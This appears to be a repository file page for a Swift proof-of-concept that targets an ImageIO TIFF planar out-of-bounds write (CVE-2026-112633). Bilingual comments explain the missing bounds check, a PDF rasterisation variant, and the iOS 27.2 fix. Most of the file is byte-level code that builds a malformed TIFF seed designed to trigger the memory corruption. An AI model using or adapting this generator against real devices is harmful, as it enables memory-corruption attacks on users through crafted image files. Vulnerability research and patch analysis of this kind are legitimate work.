Files
cinder27/CVE-2026-112633/CVE-2026-112633.swift
T

144 lines
6.5 KiB
Swift
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// iio.tiff.planar · ImageIO · decodeStripPlanar · CVE-2026-112633 / 112614
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] TIFF planar 散写越界
// 当 PlanarConfiguration=2 且 SamplesPerPixel 大于 Photometric 所指的通道数时,散写指针的偏移以 32 位乘法计算,且计算结果与目标行容量之间不存在任何比较。
// 27.2 改为 64 位 umull 并比对所需字节数与容量。
//
// [en] TIFF planar scatter out-of-bounds write
// With PlanarConfiguration=2 and SamplesPerPixel greater than the channel count implied by Photometric,
// the scatter pointer offset is computed with a 32-bit multiply and the result is never compared
// against the destination row capacity. iOS 27.2 switches to a 64-bit umull and compares required
// bytes against capacity.
// ── 判别 / oracle ──
// 24A435 的报错串不存在:\"*** ERROR: decodeStripPlanar destination row is %u bytes, the scatter needs %llu\"。
// 变体 iio.pdf.raster: PDF 栅格化解码缓冲越界
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// iio.pdf.raster · ImageIO · PDFReadPlugin::decodeImageData · CVE-2026-112633
// 原语: OOB 写 · 进程内 · tier 2
// Primitive: OOB write · in-process · tier 2
//
// [zh] PDF 栅格化解码缓冲越界
// PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer
// too small: need %zu bytes (%zu x %zu), have %zu\"。
//
// [en] PDF rasterisation decode buffer overrun
// The PDF page is rasterised into a caller-supplied decode buffer with no check that the buffer is
// large enough. iOS 27.2 adds umull width×bpp, compares against have, branches b.hi, and reports
// "decode buffer too small: need %zu bytes (%zu x %zu), have %zu".
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TIFFPayload) ──
enum TIFFPayload {
struct Entry {
let tag: UInt16
let type: UInt16
let count: UInt32
let value: [UInt8] // raw payload bytes (little-endian), inline if <= 4
}
static func build(entries: [Entry], blobs: [(tag: UInt16, bytes: [UInt8])]) -> Data {
let ifdOffset = 8
let ifdSize = 2 + entries.count * 12 + 4
var extraOffset = ifdOffset + ifdSize
if extraOffset % 2 == 1 { extraOffset += 1 }
var extra = Data()
var blobOffsets: [UInt16: UInt32] = [:]
for blob in blobs {
blobOffsets[blob.tag] = UInt32(extraOffset + extra.count)
extra.append(contentsOf: blob.bytes)
}
var out = Data()
out.append(contentsOf: [0x49, 0x49, 0x2A, 0x00])
out.append(contentsOf: B.le32(UInt32(ifdOffset)))
out.append(contentsOf: B.le16(UInt16(entries.count)))
for e in entries.sorted(by: { $0.tag < $1.tag }) {
out.append(contentsOf: B.le16(e.tag))
out.append(contentsOf: B.le16(e.type))
out.append(contentsOf: B.le32(e.count))
if e.value.count <= 4 {
var v = e.value
while v.count < 4 { v.append(0) }
out.append(contentsOf: v)
} else {
out.append(contentsOf: B.le32(blobOffsets[e.tag] ?? 0))
}
}
out.append(contentsOf: B.le32(0))
if out.count < extraOffset { out.append(contentsOf: [UInt8](repeating: 0, count: extraOffset - out.count)) }
out.append(extra)
return out
}
static func planarScatter(width: Int = 64, height: Int = 64, spp: Int = 4, photometric: UInt16 = 2) -> Data {
let bits: [UInt8] = (0..<spp).flatMap { _ in B.le16(8) }
let stripBytes = width * height
// Deterministic layout: IFD at 8, then BitsPerSample blob, then StripOffsets blob,
// then the plane data. Every offset below is computed, not patched.
let ifdOffset = 8
let ifdSize = 2 + 10 * 12 + 4
var extraOffset = ifdOffset + ifdSize
if extraOffset % 2 == 1 { extraOffset += 1 }
let bitsOffset = extraOffset
let offsetsBlobOffset = bitsOffset + bits.count
let stripBase = offsetsBlobOffset + spp * 4
var stripOffsets: [UInt8] = []
for i in 0..<spp { stripOffsets += B.le32(UInt32(stripBase + i * stripBytes)) }
let entries: [Entry] = [
Entry(tag: 256, type: 4, count: 1, value: B.le32(UInt32(width))),
Entry(tag: 257, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 258, type: 3, count: UInt32(spp), value: bits),
Entry(tag: 259, type: 3, count: 1, value: B.le16(1)),
Entry(tag: 262, type: 3, count: 1, value: B.le16(photometric)),
Entry(tag: 273, type: 4, count: UInt32(spp), value: stripOffsets),
Entry(tag: 277, type: 3, count: 1, value: B.le16(UInt16(spp))),
Entry(tag: 278, type: 4, count: 1, value: B.le32(UInt32(height))),
Entry(tag: 279, type: 4, count: UInt32(spp), value: (0..<spp).flatMap { _ in B.le32(UInt32(stripBytes)) }),
Entry(tag: 284, type: 3, count: 1, value: B.le16(2)),
]
var data = build(entries: entries, blobs: [(258, bits), (273, stripOffsets)])
// pad to the computed strip base in case the builder aligned differently
if data.count < stripBase {
data.append(contentsOf: [UInt8](repeating: 0, count: stripBase - data.count))
}
for plane in 0..<spp {
data.append(contentsOf: [UInt8](repeating: UInt8(0x40 + plane * 0x20), count: stripBytes))
}
return data
}
}